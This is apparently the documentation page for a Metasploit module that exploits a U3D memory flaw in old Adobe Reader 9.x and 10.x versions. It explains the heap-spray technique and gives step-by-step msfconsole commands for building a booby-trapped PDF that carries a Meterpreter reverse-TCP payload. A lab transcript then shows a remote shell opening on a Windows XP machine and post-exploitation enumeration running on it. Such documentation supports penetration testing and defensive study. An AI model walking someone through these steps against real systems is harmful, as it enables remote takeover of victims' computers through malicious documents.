2019-12-06 01:19:12 -07:00
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## Vulnerable Application
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2019-12-12 16:57:38 -05:00
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This module exploits a vulnerability in the U3D handling within versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
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The vulnerability is due to the use of uninitialized memory. Arbitrary code execution is achieved by embedding specially
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crafted U3D data into a PDF document. A heap spray via JavaScript is used in order to ensure that the memory
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used by the invalid pointer issue is controlled.
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2019-12-06 01:19:12 -07:00
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2019-12-12 16:57:38 -05:00
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Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/download/acrobat-reader-9-4-0)
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2019-12-06 01:19:12 -07:00
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## Verification Steps
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1. Install application on the target machine
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2. Start msfconsole
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2019-12-12 16:57:38 -05:00
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3. Do: ```use exploit/windows/fileformat/adobe_reader_u3d```
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4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
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5. Do: ```set LHOST [IP]```
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6. Do: ```exploit```
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7. Do: ```use [exploit/multi/handler```
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8. Do: ```set LHOST [IP]```
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9. Do: ```exploit```
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10. Do: Open PDF on target machine with vulnerable software
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2019-12-06 01:19:12 -07:00
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2019-12-10 13:37:13 -07:00
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## Options
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2019-12-12 16:57:38 -05:00
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**FILENAME**
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2019-12-10 13:37:13 -07:00
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The file name.
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2019-12-12 16:57:38 -05:00
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**OBFUSCATE**
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2019-12-10 13:37:13 -07:00
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Enable JavaScript obfuscation
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2019-12-06 01:19:12 -07:00
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## Scenarios
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2019-12-12 16:57:38 -05:00
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### Adobe Reader 9.4.0 on Windows XP (5.1 Build 2600, Service Pack 3)
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2019-12-06 01:19:12 -07:00
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```
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msf > use exploit/windows/fileformat/adobe_reader_u3d
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msf exploit(windows/fileformat/adobe_reader_u3d) > set FILENAME myFile.pdf
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FILENAME => myFile.pdf
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msf exploit(windows/fileformat/adobe_reader_u3d) > set LHOST 192.168.1.3
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LHOST => 192.168.1.3
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msf exploit(windows/fileformat/adobe_reader_u3d) > exploit
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[*] Creating 'myFile.pdf' file...
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[+] myFile.pdf stored at /root/.msf4/local/myFile.pdf
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msf exploit(windows/fileformat/adobe_reader_u3d) > use exploit/multi/handler
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msf exploit(multi/handler) > set LHOST 192.168.1.3
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LHOST => 192.168.1.3
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msf5 exploit(multi/handler) > exploit
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[*] Started reverse TCP handler on 192.168.1.3:4444
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[*] Sending stage (180291 bytes) to 192.168.1.5
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[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.5:1103) at 2019-12-05 18:01:07 -0700
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meterpreter > sysinfo
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Computer : COMPUTER_1
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OS : Windows XP (5.1 Build 2600, Service Pack 3).
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Architecture : x86
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x86/windows
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meterpreter > getuid
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Server username: COMPUTER_1\USER
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meterpreter > run post/windows/gather/enum_applications
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[*] Enumerating applications installed on COMPUTER_1
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Installed Applications
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======================
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Name Version
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---- -------
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Adobe Reader 9.4.0 9.4.0
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[+] Results stored in: /root/.msf4/loot/20191205180436_default_192.168.1.5_host.application_540854.txt
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```
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